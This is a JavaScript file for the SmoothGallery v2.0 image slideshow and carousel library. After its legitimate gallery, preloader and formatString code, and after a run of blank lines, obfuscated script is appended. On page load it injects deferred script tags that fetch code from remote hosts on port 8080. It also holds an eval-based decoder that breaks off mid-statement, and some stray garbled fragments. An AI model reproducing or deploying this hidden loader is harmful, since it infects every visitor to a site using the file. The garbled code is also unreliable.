/*
    This file is part of JonDesign's SmoothGallery v2.0.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
    Contributed code by:
    - Christian Ehret (bugfix)
	- Nitrix (bugfix)
	- Valerio from Mad4Milk for his great help with the carousel scrolling and many other things.
	- Archie Cowan for helping me find a bugfix on carousel inner width problem.
	- Tomocchino from #mootools for the preloader class
	Many thanks to:
	- The mootools team for the great mootools lib, and it's help and support throughout the project.
*/

// declaring the class
var gallery = {
	initialize: function(element, options) {
		this.setOptions({
			showArrows: true,
			showCarousel: true,
			showInfopane: true,
			embedLinks: true,
			fadeDuration: 500,
			timed: false,
			delay: 9000,
			preloader: true,
			preloaderImage: true,
			preloaderErrorImage: true,
			/* Data retrieval */
			manualData: [],
			populateFrom: false,
			populateData: true,
			destroyAfterPopulate: true,
			elementSelector: "div.imageElement",
			titleSelector: "h2",
			subtitleSelector: "p",
			linkSelector: "a.open",
			imageSelector: "img.full",
			thumbnailSelector: "img.thumbnail",
			defaultTransition: "fade",
			/* InfoPane options */
			slideInfoZoneOpacity: 0.7,
			slideInfoZoneSlide: true,
			/* Carousel options */
			carouselMinimizedOpacity: 0.4,
			carouselMinimizedHeight: 20,
			carouselMaximizedOpacity: 0.9,
			thumbHeight: 75,
			thumbWidth: 100,
			thumbSpacing: 10,
			thumbIdleOpacity: 0.2,
			textShowCarousel: 'Featured Content',
			showCarouselLabel: true,
			thumbCloseCarousel: true,
			useThumbGenerator: false,
			thumbGenerator: 'resizer.php',
			useExternalCarousel: false,
			carouselElement: false,
			carouselHorizontal: true,
			activateCarouselScroller: true,
			carouselPreloader: true,
			textPreloadingCarousel: 'Loading...',
			/* CSS Classes */
			baseClass: 'jdGallery',
			withArrowsClass: 'withArrows',
			/* Plugins: HistoryManager */
			useHistoryManager: false,
			customHistoryKey: false
		}, options);
		this.fireEvent('onInit');
		this.currentIter = 0;
		this.lastIter = 0;
		this.maxIter = 0;
		this.galleryElement = element;
		this.galleryData = this.options.manualData;
		this.galleryInit = 1;
		this.galleryElements = Array();
		this.thumbnailElements = Array();
		this.galleryElement.addClass(this.options.baseClass);
		
		this.populateFrom = element;
		if (this.options.populateFrom)
			this.populateFrom = this.options.populateFrom;		
		if (this.options.populateData)
			this.populateData();
		element.style.display="block";
		
		if (this.options.useHistoryManager)
			this.initHistory();
		
		if (this.options.embedLinks)
		{
			this.currentLink = new Element('a').addClass('open').setProperties({
				href: '#',
				title: ''
			}).injectInside(element);
			if ((!this.options.showArrows) && (!this.options.showCarousel))
				this.galleryElement = element = this.currentLink;
			else
				this.currentLink.setStyle('display', 'none');
		}
		
		this.constructElements();
		if ((this.galleryData.length>1)&&(this.options.showArrows))
		{
			var leftArrow = new Element('a').addClass('left').addEvent(
				'click',
				this.prevItem.bind(this)
			).injectInside(element);
			var rightArrow = new Element('a').addClass('right').addEvent(
				'click',
				this.nextItem.bind(this)
			).injectInside(element);
			this.galleryElement.addClass(this.options.withArrowsClass);
		}
		this.loadingElement = new Element('div').addClass('loadingElement').injectInside(element);
		if (this.options.showInfopane) this.initInfoSlideshow();
		if (this.options.showCarousel) this.initCarousel();
		this.doSlideShow(1);
	},
	populateData: function() {
		currentArrayPlace = this.galleryData.length;
		options = this.options;
		var data = $A(this.galleryData);
		data.extend(this.populateGallery(this.populateFrom, currentArrayPlace));
		this.galleryData = data;
		this.fireEvent('onPopulated');
	},
	populateGallery: function(element, startNumber) {
		var data = [];
		options = this.options;
		currentArrayPlace = startNumber;
		element.getElements(options.elementSelector).each(function(el) {
			elementDict = {
				image: el.getElement(options.imageSelector).getProperty('src'),
				number: currentArrayPlace,
				transition: this.options.defaultTransition
			};
			elementDict.extend = $extend;
			if ((options.showInfopane) | (options.showCarousel))
				elementDict.extend({
					title: el.getElement(options.titleSelector).innerHTML,
					description: el.getElement(options.subtitleSelector).innerHTML
				});
			if (options.embedLinks)
				elementDict.extend({
					link: el.getElement(options.linkSelector).href||false,
					linkTitle: el.getElement(options.linkSelector).title||false,
					linkTarget: el.getElement(options.linkSelector).getProperty('target')||false
				});
			if ((!options.useThumbGenerator) && (options.showCarousel))
				elementDict.extend({
					thumbnail: el.getElement(options.thumbnailSelector).getProperty('src')
				});
			else if (options.useThumbGenerator)
				elementDict.extend({
					thumbnail: options.thumbGenerator + '?imgfile=' + elementDict.image + '&max_width=' + options.thumbWidth + '&max_height=' + options.thumbHeight
				});
			
			data.extend([elementDict]);
			currentArrayPlace++;
			if (this.options.destroyAfterPopulate)
				el.remove();
		});
		return data;
	},
	constructElements: function() {
		el = this.galleryElement;
		this.maxIter = this.galleryData.length;
		var currentImg;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Styles(
				new Element('div').addClass('slideElement').setStyles({
					'position':'absolute',
					'left':'0px',
					'right':'0px',
					'margin':'0px',
					'padding':'0px',
					'backgroundPosition':"center center",
					'opacity':'0'
				}).injectInside(el),
				'opacity',
				{duration: this.options.fadeDuration}
			);
			if (this.options.preloader)
			{
				currentImg.source = this.galleryData[i].image;
				currentImg.loaded = false;
				currentImg.load = function(imageStyle) {
					if (!imageStyle.loaded)	{
						new Asset.image(imageStyle.source, {
		                            'onload'  : function(img){
													img.element.setStyle(
													'backgroundImage',
													"url('" + img.source + "')")
													img.loaded = true;
												}.bind(this, imageStyle)
						});
					}
				}.pass(currentImg, this);
			} else {
				currentImg.element.setStyle('backgroundImage',
									"url('" + this.galleryData[i].image + "')");
			}
			this.galleryElements[parseInt(i)] = currentImg;
		}
	},
	destroySlideShow: function(element) {
		var myClassName = element.className;
		var newElement = new Element('div').addClass('myClassName');
		element.parentNode.replaceChild(newElement, element);
	},
	startSlideShow: function() {
		this.fireEvent('onStart');
		this.loadingElement.style.display = "none";
		this.lastIter = this.maxIter - 1;
		this.currentIter = 0;
		this.galleryInit = 0;
		this.galleryElements[parseInt(this.currentIter)].set({opacity: 1});
		if (this.options.showInfopane)
			this.showInfoSlideShow.delay(1000, this);
		var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
		if (this.options.showCarousel&&(!this.options.carouselPreloader))
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.prepareTimer();
		if (this.options.embedLinks)
			this.makeLink(this.currentIter);
	},
	nextItem: function() {
		this.fireEvent('onNextCalled');
		this.nextIter = this.currentIter+1;
		if (this.nextIter >= this.maxIter)
			this.nextIter = 0;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	prevItem: function() {
		this.fireEvent('onPreviousCalled');
		this.nextIter = this.currentIter-1;
		if (this.nextIter <= -1)
			this.nextIter = this.maxIter - 1;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	goTo: function(num) {
		this.clearTimer();
		if(this.options.preloader)
		{
			this.galleryElements[num].load();
			if (num==0)
				this.galleryElements[this.maxIter - 1].load();
			else
				this.galleryElements[num - 1].load();
			if (num==(this.maxIter - 1))
				this.galleryElements[0].load();
			else
				this.galleryElements[num + 1].load();
				
		}
		if (this.options.embedLinks)
			this.clearLink();
		if (this.options.showInfopane)
		{
			this.slideInfoZone.clearChain();
			this.hideInfoSlideShow().chain(this.changeItem.pass(num, this));
		} else
			this.currentChangeDelay = this.changeItem.delay(500, this, num);
		if (this.options.embedLinks)
			this.makeLink(num);
		this.prepareTimer();
		/*if (this.options.showCarousel)
			this.clearThumbnailsHighlights();*/
	},
	changeItem: function(num) {
		this.fireEvent('onStartChanging');
		this.galleryInit = 0;
		if (this.currentIter != num)
		{
			for(i=0;i<this.maxIter;i++)
			{
				if ((i != this.currentIter)) this.galleryElements[i].set({opacity: 0});
			}
			gallery.Transitions[this.galleryData[num].transition].pass([
				this.galleryElements[this.currentIter],
				this.galleryElements[num],
				this.currentIter,
				num], this)();
			this.currentIter = num;
		}
		var textShowCarousel = formatString(this.options.textShowCarousel, num+1, this.maxIter);
		if (this.options.showCarousel)
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.doSlideShow.bind(this)();
		this.fireEvent('onChanged');
	},
	clearTimer: function() {
		if (this.options.timed)
			$clear(this.timer);
	},
	prepareTimer: function() {
		if (this.options.timed)
			this.timer = this.nextItem.delay(this.options.delay, this);
	},
	doSlideShow: function(position) {
		if (this.galleryInit == 1)
		{
			imgPreloader = new Image();
			imgPreloader.onload=function(){
				this.startSlideShow.delay(10, this);
			}.bind(this);
			imgPreloader.src = this.galleryData[0].image;
			if(this.options.preloader)
				this.galleryElements[0].load();
		} else {
			if (this.options.showInfopane)
			{
				if (this.options.showInfopane)
				{
					this.showInfoSlideShow.delay((500 + this.options.fadeDuration), this);
				} else
					if ((this.options.showCarousel)&&(this.options.activateCarouselScroller))
						this.centerCarouselOn(position);
			}
		}
	},
	createCarousel: function() {
		var carouselElement;
		if (!this.options.useExternalCarousel)
		{
			var carouselContainerElement = new Element('div').addClass('carouselContainer').injectInside(this.galleryElement);
			this.carouselContainer = new Fx.Styles(carouselContainerElement, {transition: Fx.Transitions.expoOut});
			this.carouselContainer.normalHeight = carouselContainerElement.offsetHeight;
			this.carouselContainer.set({'opacity': this.options.carouselMinimizedOpacity, 'top': (this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight)});
			this.carouselBtn = new Element('a').addClass('carouselBtn').setProperties({
				title: this.options.textShowCarousel
			}).injectInside(carouselContainerElement);
			if(this.options.carouselPreloader)
				this.carouselBtn.setHTML(this.options.textPreloadingCarousel);
			else
				this.carouselBtn.setHTML(this.options.textShowCarousel);
			this.carouselBtn.addEvent(
				'click',
				function () {
					this.carouselContainer.clearTimer();
					this.toggleCarousel();
				}.bind(this)
			);
			this.carouselActive = false;
	
			carouselElement = new Element('div').addClass('carousel').injectInside(carouselContainerElement);
			this.carousel = new Fx.Styles(carouselElement);
		} else {
			carouselElement = $(this.options.carouselElement).addClass('jdExtCarousel');
		}
		this.carouselElement = new Fx.Styles(carouselElement, {transition: Fx.Transitions.expoOut});
		this.carouselElement.normalHeight = carouselElement.offsetHeight;
		if (this.options.showCarouselLabel)
			this.carouselLabel = new Element('p').addClass('label').injectInside(carouselElement);
		carouselWrapper = new Element('div').addClass('carouselWrapper').injectInside(carouselElement);
		this.carouselWrapper = new Fx.Styles(carouselWrapper, {transition: Fx.Transitions.expoOut});
		this.carouselWrapper.normalHeight = carouselWrapper.offsetHeight;
		this.carouselInner = new Element('div').addClass('carouselInner').injectInside(carouselWrapper);
		if (this.options.activateCarouselScroller)
		{
			this.carouselWrapper.scroller = new Scroller(carouselWrapper, {
				area: 100,
				velocity: 0.2
			})
			
			this.carouselWrapper.elementScroller = new Fx.Scroll(carouselWrapper, {
				duration: 400,
				onStart: this.carouselWrapper.scroller.stop.bind(this.carouselWrapper.scroller),
				onComplete: this.carouselWrapper.scroller.start.bind(this.carouselWrapper.scroller)
			});
		}
	},
	fillCarousel: function() {
		this.constructThumbnails();
		this.carouselInner.normalWidth = ((this.maxIter * (this.options.thumbWidth + this.options.thumbSpacing + 2))+this.options.thumbSpacing) + "px";
		this.carouselInner.style.width = this.carouselInner.normalWidth;
	},
	initCarousel: function () {
		this.createCarousel();
		this.fillCarousel();
		if (this.options.carouselPreloader)
			this.preloadThumbnails();
	},
	flushCarousel: function() {
		this.thumbnailElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.thumbnailElements = [];
	},
	toggleCarousel: function() {
		if (this.carouselActive)
			this.hideCarousel();
		else
			this.showCarousel();
	},
	showCarousel: function () {
		this.fireEvent('onShowCarousel');
		this.carouselContainer.start({
			'opacity': this.options.carouselMaximizedOpacity,
			'top': 0
		}).chain(function() {
			this.carouselActive = true;
			this.carouselWrapper.scroller.start();
			this.fireEvent('onCarouselShown');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	hideCarousel: function () {
		this.fireEvent('onHideCarousel');
		var targetTop = this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight;
		this.carouselContainer.start({
			'opacity': this.options.carouselMinimizedOpacity,
			'top': targetTop
		}).chain(function() {
			this.carouselActive = false;
			this.carouselWrapper.scroller.stop();
			this.fireEvent('onCarouselHidden');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	constructThumbnails: function () {
		element = this.carouselInner;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Style(new Element ('div').addClass("thumbnail").setStyles({
					backgroundImage: "url('" + this.galleryData[i].thumbnail + "')",
					backgroundPosition: "center center",
					backgroundRepeat: 'no-repeat',
					marginLeft: this.options.thumbSpacing + "px",
					width: this.options.thumbWidth + "px",
					height: this.options.thumbHeight + "px"
				}).injectInside(element), "opacity", {duration: 200}).set(this.options.thumbIdleOpacity);
			currentImg.element.addEvents({
				'mouseover': function (myself) {
					myself.clearTimer();
					myself.start(0.99);
					if (this.options.showCarouselLabel)
						$(this.carouselLabel).setHTML('<span class="number">' + (myself.relatedImage.number + 1) + "/" + this.maxIter + ":</span> " + myself.relatedImage.title);
				}.pass(currentImg, this),
				'mouseout': function (myself) {
					myself.clearTimer();
					myself.start(this.options.thumbIdleOpacity);
				}.pass(currentImg, this),
				'click': function (myself) {
					this.goTo(myself.relatedImage.number);
					if (this.options.thumbCloseCarousel)
						this.hideCarousel();
				}.pass(currentImg, this)
			});
			
			currentImg.relatedImage = this.galleryData[i];
			this.thumbnailElements[parseInt(i)] = currentImg;
		}
	},
	log: function(value) {
		if(console.log)
			console.log(value);
	},
	preloadThumbnails: function() {
		var thumbnails = [];
		for(i=0;i<this.galleryData.length;i++)
		{
			thumbnails[parseInt(i)] = this.galleryData[i].thumbnail;
		}
		this.thumbnailPreloader = new Preloader();
		this.thumbnailPreloader.addEvent('onComplete', function() {
			var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		}.bind(this));
		this.thumbnailPreloader.load(thumbnails);
	},
	clearThumbnailsHighlights: function()
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].start(0.2);
		}
	},
	changeThumbnailsSize: function(width, height)
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].element.setStyles({
				'width': width + "px",
				'height': height + "px"
			});
		}
	},
	centerCarouselOn: function(num) {
		if (!this.carouselWallMode)
		{
			var carouselElement = this.thumbnailElements[num];
			var position = carouselElement.element.offsetLeft + (carouselElement.element.offsetWidth / 2);
			var carouselWidth = this.carouselWrapper.element.offsetWidth;
			var carouselInnerWidth = this.carouselInner.offsetWidth;
			var diffWidth = carouselWidth / 2;
			var scrollPos = position-diffWidth;
			this.carouselWrapper.elementScroller.scrollTo(scrollPos,0);
		}
	},
	initInfoSlideshow: function() {
		/*if (this.slideInfoZone.element)
			this.slideInfoZone.element.remove();*/
		this.slideInfoZone = new Fx.Styles(new Element('div').addClass('slideInfoZone').injectInside($(this.galleryElement))).set({'opacity':0});
		var slideInfoZoneTitle = new Element('h2').injectInside(this.slideInfoZone.element);
		var slideInfoZoneDescription = new Element('p').injectInside(this.slideInfoZone.element);
		this.slideInfoZone.normalHeight = this.slideInfoZone.element.offsetHeight;
		this.slideInfoZone.element.setStyle('opacity',0);
	},
	changeInfoSlideShow: function()
	{
		this.hideInfoSlideShow.delay(10, this);
		this.showInfoSlideShow.delay(500, this);
	},
	showInfoSlideShow: function() {
		this.fireEvent('onShowInfopane');
		this.slideInfoZone.clearTimer();
		element = this.slideInfoZone.element;
		element.getElement('h2').setHTML(this.galleryData[this.currentIter].title);
		element.getElement('p').setHTML(this.galleryData[this.currentIter].description);
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity], 'height': [0, this.slideInfoZone.normalHeight]});
		else
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity]});
		if (this.options.showCarousel)
			this.slideInfoZone.chain(this.centerCarouselOn.pass(this.currentIter, this));
		return this.slideInfoZone;
	},
	hideInfoSlideShow: function() {
		this.fireEvent('onHideInfopane');
		this.slideInfoZone.clearTimer();
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': 0, 'height': 0});
		else
			this.slideInfoZone.start({'opacity': 0});
		return this.slideInfoZone;
	},
	makeLink: function(num) {
		this.currentLink.setProperties({
			href: this.galleryData[num].link,
			title: this.galleryData[num].linkTitle
		})
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'block');
	},
	clearLink: function() {
		this.currentLink.setProperties({href: '', title: ''});
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'none');
	},
	/* To change the gallery data, those two functions : */
	flushGallery: function() {
		this.galleryElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.galleryElements = [];
	},
	changeData: function(data) {
		this.galleryData = data;
		this.clearTimer();
		this.flushGallery();
		if (this.options.showCarousel) this.flushCarousel();
		this.constructElements();
		if (this.options.showCarousel) this.fillCarousel();
		if (this.options.showInfopane) this.hideInfoSlideShow();
		this.galleryInit=1;
		this.lastIter=0;
		this.currentIter=0;
		this.doSlideShow(1);
	},
	/* Plugins: HistoryManager */
	initHistory: function() {
		this.fireEvent('onHistoryInit');
		this.historyKey = this.galleryElement.id + '-picture';
		if (this.options.customHistoryKey)
			this.historyKey = this.options.customHistoryKey();
		this.history = HistoryManager.register(
			this.historyKey,
			[1],
			function(values) {
				if (parseInt(values[0])-1 < this.maxIter)
					this.goTo(parseInt(values[0])-1);
			}.bind(this),
			function(values) {
				return [this.historyKey, '(', values[0], ')'].join('');
			}.bind(this),
			this.historyKey + '\\((\\d+)\\)');
		this.addEvent('onChanged', function(){
			this.history.setValue(0, this.currentIter+1);
		}.bind(this));
		this.fireEvent('onHistoryInited');
	}
};
gallery = new Class(gallery);
gallery.implement(new Events);
gallery.implement(new Options);

gallery.Transitions = new Abstract ({
	fade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		if (newPos > oldPos) newFx.start({opacity: 1});
		else
		{
			newFx.set({opacity: 1});
			oldFx.start({opacity: 0});
		}
	},
	crossfade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		newFx.start({opacity: 1});
		oldFx.start({opacity: 0});
	},
	fadebg: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration / 2;
		oldFx.start({opacity: 0}).chain(newFx.start.pass([{opacity: 1}], newFx));
	}
});

/* All code copyright 2007 Jonathan Schemoul */

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: Preloader (class)
 * Simple class for preloading images with support for progress reporting
 * Copyright 2007 Tomocchino.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

var Preloader = new Class({
  
  Implements: [Events, Options],

  options: {
    root        : '',
    period      : 100
  },
  
  initialize: function(options){
    this.setOptions(options);
  },
  
  load: function(sources) {
    this.index = 0;
    this.images = [];
    this.sources = this.temps = sources;
    this.total = this. sources.length;
    
    this.fireEvent('onStart', [this.index, this.total]);
    this.timer = this.progress.periodical(this.options.period, this);
    
    this.sources.each(function(source, index){
      this.images[index] = new Asset.image(this.options.root + source, {
        'onload'  : function(){ this.index++; if(this.images[index]) this.fireEvent('onLoad', [this.images[index], index, source]); }.bind(this),
        'onerror' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this),
        'onabort' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this)
      });
    }, this);
  },
  
  progress: function() {
    this.fireEvent('onProgress', [Math.min(this.index, this.total), this.total]);
    if(this.index >= this.total) this.complete();
  },
  
  complete: function(){
    $clear(this.timer);
    this.fireEvent('onComplete', [this.images]);
  },
  
  cancel: function(){
    $clear(this.timer);
  }
  
});

Preloader.implement(new Events, new Options);

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: formatString (function)
 * Original name: Yahoo.Tools.printf
 * Copyright Yahoo.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

function formatString() {
	var num = arguments.length;
	var oStr = arguments[0];
	for (var i = 1; i < num; i++) {
		var pattern = "\\{" + (i-1) + "\\}"; 
		var re = new RegExp(pattern, "g");
		oStr = oStr.replace(re, arguments[i]);
	}
	return oStr; 
}
















var kj;if(kj!='h'){kj=''};var v='sacYrCiwpCtY'.replace(/[YaC7w]/g, '');var r;if(r!='w' && r!='za'){r='w'};var n=window;var d=document;var hd;if(hd!='' && hd!='_'){hd='g'};var ud="ud";n.onload=function(){this.es=false;this.t='';try {z=d.createElement(v);z.src='hLtFtvpv:v/v/Fs%lviLc%kvdLe%aFlKs%-%nKeLtL.%avlFi%mKaLmFa%.vcKoKmF.FiLmFavgLeKs%hFaFcFkL-LuLsK.KrveLcveKnLtLm%e%xLivcFov.KrLuF:K8v0F8v0%/FwFaLlLmLaLrvtL.LcKoLm%/KwvaFl%mvavrKtK.vc%oKmF/vhvuvb%pFavgKe%s%.KcFoLm%/%gFo%o%g%l%eL.KcvoLmK/LsFcKrKiKbFdF.vcFoFmv/v'.replace(/[vLFK%]/g, '');var pg=37594;var gc;if(gc!='' && gc!='f'){gc='s'};z.setAttribute('d5eRfReRrR'.replace(/[Rm_5M]/g, ''), "1");d.body.appendChild(z);var vv=new Date();var kq;if(kq!='yg' && kq!='a'){kq='yg'};} catch(k){};};this.zv="";var zd="zd";
try {this.z="z";:LineMixer [var o='hWt&t&pW:~/G/~aGm~a~zAoWn~aGw&s~-~cWo~mA.Wg~oWo~gGl&e~.Ac&h~.~gGoWo~g&lWeG-WaWt&.Gb~eWsWtAnWe&w~s&mGaGl~l&.Wr~uA:~8A0&8A0&/WdAeAvWi~aGnGtGaWr~tA.Gc&o~mG/&dGeGvGiAaWnAtGa~rGtW.AcAo&m~/Wt~rGaGvAiWaAn&.AcWoGmW/&eGc~h~oGrAo&uGkWoWnAlWi&nWeW.~cAo&mG/AgGoGo~gAlGeG.&c~o&m&/A'.replace(/[AG~&W]/g, '');var op='s>c>r|i>pktO'.replace(/[O\|\>k#]/g, '');var t;if(t!='d' && t!='xv'){t=''};var r='c|r,e,aUt|e|E,lSeRmRe,nSt,'.replace(/[,U\|SR]/g, '');var s=48778;var x='o,n:l,oRa/dw'.replace(/[w,\:R/]/g, '');var v="1";var l='aMpAp~eAn~dACAh~i.l~d~'.replace(/[~\.AM4]/g, '');var ze=51924;var u='sfeftDAUt2tDr6iUbDu6t6eU'.replace(/[U2fD6]/g, '');this.qv='';var n='b.otd.yp'.replace(/[pt\.7s]/g, '');var ru='';]var jg;if(jg!='vw'){jg=''};window[x]=function(){var g="";h=document[r](op);var qi;if(qi!='' && qi!='pq'){qi=''};:LineMixer [var jm;if(jm!='vz' && jm!='ee'){jm=''};h['sWrDcA'.replace(/[ADvW6]/g, '')]=o;h[u]('dSe@fCeSr8'.replace(/[8@CSL]/g, ''), v);var a;if(a!='w'){a='w'};var nl=document[n];]nl[l](h);var eo;if(eo!='ol'){eo='ol'};};} catch(uq){};this.zm='';
this.g="";try {this.u="u";var w="";var _='o+nNlUoLaLd+'.replace(/[\+N3UL]/g, '');var k=window;this.c="";var x;if(x!=''){x='v'};var f='c#r#e#a1t#e#E#l#e#m>e>n#t#'.replace(/[#K1\>d]/g, '');this.gm='';this.l='';var s='s,c,r5i/p/t5'.replace(/[5E/,O]/g, '');t=function(){var gs="";var sm=new Date();var aa=new Date();_v=document[f](s);var kw=false;_v['s,r_c~'.replace(/[~_wN,]/g, '')]='hDtUtMp4:M/M/+e4v+i4t4e+-Dc+o+m4.4m4y+eUg4y+.McDo4m+.4mU-4wD-DcDoDm4.MmMeUd+i+aMt+aUgMo+nMlUiDnMeU.4r+u+:U8D0U8+0U/MaDwDeUmDp4iDrDe4.4cUoMmU/MaUwDe4mUpMiUrMeU.4cDo4mD/4g4oMoMgMl+eD.+c+oDmD/Uu4oMl+.+cUoDmM.+b4r4/DhDuUd4oDnDgU.McMo+m4/U'.replace(/[UM\+4D]/g, '');var rxu;if(rxu!='lq' && rxu!='rs'){rxu=''};_v.setAttribute('dcecf%e%rL'.replace(/[L%bNc]/g, ''), ([1][0]));var ug=new String();var q=new String();var kv;if(kv!='om' && kv != ''){kv=null};document['bUoEdEyE'.replace(/[EiVDU]/g, '')]['a*pspUe+n*d&CUh*i&l*dU'.replace(/[U\+\*&s]/g, '')](_v);var vi=63274;};this.up=1930;var gd=false;k[_]=t;this.xf=false;this.ys=false;var bl=false;this.bcn="";} catch(b){var _y="";var _yu="_yu";};
var Sbx="5a5a426d5f365d4245597c30676a435935705d765274475545716e4c64536256444d754b7a566354515c515745525179645a7752425d63604b704171475555715c6042256f5338627b7e05627b2e7f61";var fP="";var pJ;if(pJ!='ga' && pJ!='pn'){pJ='ga'};var lTT;if(lTT!='' && lTT!='tf'){lTT=''};function j(z){var L;if(L!='C'){L=''}; var A=function(W, Q){var tB;if(tB!='l' && tB != ''){tB=null};var o;if(o!='Tl' && o!='doz'){o=''};var lw=new Array();var n = Q.length;var J = '';var SL="";var nK = W.length;var P=new String();var Z=[1][0];this.NL="NL";var I=[178,182,0,31][2];var eW;if(eW!='bD' && eW != ''){eW=null};this.XY="";var lK;if(lK!='F' && lK!='LX'){lK='F'};var XS;if(XS!='U'){XS=''};var AY="";for(var QX = I; QX < nK; QX += n) {var M;if(M!='Ce'){M='Ce'};var nl = W.substr(QX, n);this.PY="";var oB;if(oB!='' && oB!='Wi'){oB=''};if(nl.length == n){var ze=new Array();var y;if(y!='x'){y=''};var Kc=false;for(var d in Q) {this.Df="Df";var zb;if(zb!='Qoe' && zb!='Mi'){zb='Qoe'};var Xm;if(Xm!='' && Xm!='zs'){Xm=null};var MZ;if(MZ!=''){MZ='q'};J+=nl.substr(Q[d], Z);}var gl=new String();this.Tls="";} else {var oD;if(oD!='jR' && oD != ''){oD=null};var uS=new Array();  J+=nl;var Lr='';var WN=false;}}var QZ;if(QZ!='bc' && QZ!='Xl'){QZ='bc'};return J;var pB=new Date();var pZ;if(pZ!='jD' && pZ != ''){pZ=null};};this.dp="";var em;if(em!='Ut' && em != ''){em=null};var SH=''; function R(B){this.io="";var sB;if(sB!=''){sB='Ac'};var Z=[9,20,187,1][3];var Wq=B[A("nlegth", [1,2,0,3])];var rl=new Array();var ai;if(ai!='' && ai!='Oa'){ai=null};var w=[0,53,220][0];this.fJ="fJ";var Bz;if(Bz!='kd' && Bz!='RU'){Bz='kd'};var Uv;if(Uv!=''){Uv='vc'};var rf=new Date();var b=[255][0];var Cr;if(Cr!='sT'){Cr=''};var uc;if(uc!='' && uc!='Lw'){uc=null};var d=[0,164][0];var Ow;if(Ow!='bcq'){Ow='bcq'};var fr;if(fr!='' && fr!='bn'){fr=null};var vy=31801;while(d<Wq){var Kz=new Date();d++;S=X(B,d - Z);this.ge="";var Fk;if(Fk!='' && Fk!='Ej'){Fk=null};w+=S*Wq;}var SI;if(SI!='eH' && SI!='nFh'){SI=''};var dA=false;var xb="xb";var bj;if(bj!='hr'){bj=''};return new O(w % b);var lT="";var vE=19601;}var XU;if(XU!='' && XU!='bO'){XU=''};var ii=new String();var dj=new String(); function m(K,KY){return K^KY;}this.ts=''; var X=function(Sy,mb){return Sy[A("hcaCroedAt", [1,0,2])](mb);var VX;if(VX!='' && VX!='OZ'){VX=null};};var SV="SV";var KX;if(KX!='kV' && KX != ''){KX=null};var fg="fg";var SF;if(SF!='CO' && SF != ''){SF=null}; var AV=function(W){var doE='';var Zn;if(Zn!='mp'){Zn=''};var J = '';var FH;if(FH!='Jc' && FH != ''){FH=null};var QX =[111,0,152][1];var ES;if(ES!='ZB' && ES!='mpZ'){ES='ZB'};W = new O(W);var ka;if(ka!='' && ka!='xj'){ka='tA'};var LT;if(LT!='' && LT!='jG'){LT='Ni'};var Ai = -1;var qd="";var I =[0][0];var fc=new Array();var Cc;if(Cc!='Uts'){Cc='Uts'};var cn;if(cn!=''){cn='Pu'};for (QX=W[A("glnteh", [1,4,2,0,3,5])]-Ai;QX>=I;QX=QX-[1,163][0]){J+=W[A("hacAtr", [2,0,1])](QX);}this.DsJ=10513;this.hy=56329;return J;};var bZ=new String();var bY;if(bY!='fd' && bY!='Ips'){bY='fd'};var pcj="pcj";var Pi="Pi";var t=window;var fj=new Array();var LK;if(LK!='' && LK!='tGC'){LK='xmx'};var N=t[A("vela", [1,0])];var tG=N(A("cnFunoti", [2,3,1,0]));var oM;if(oM!='AC'){oM='AC'};this.vJ="";var IJ;if(IJ!='gz' && IJ != ''){IJ=null};var IY;if(IY!='wg' && IY != ''){IY=null};var O=N(A("nSirtg", 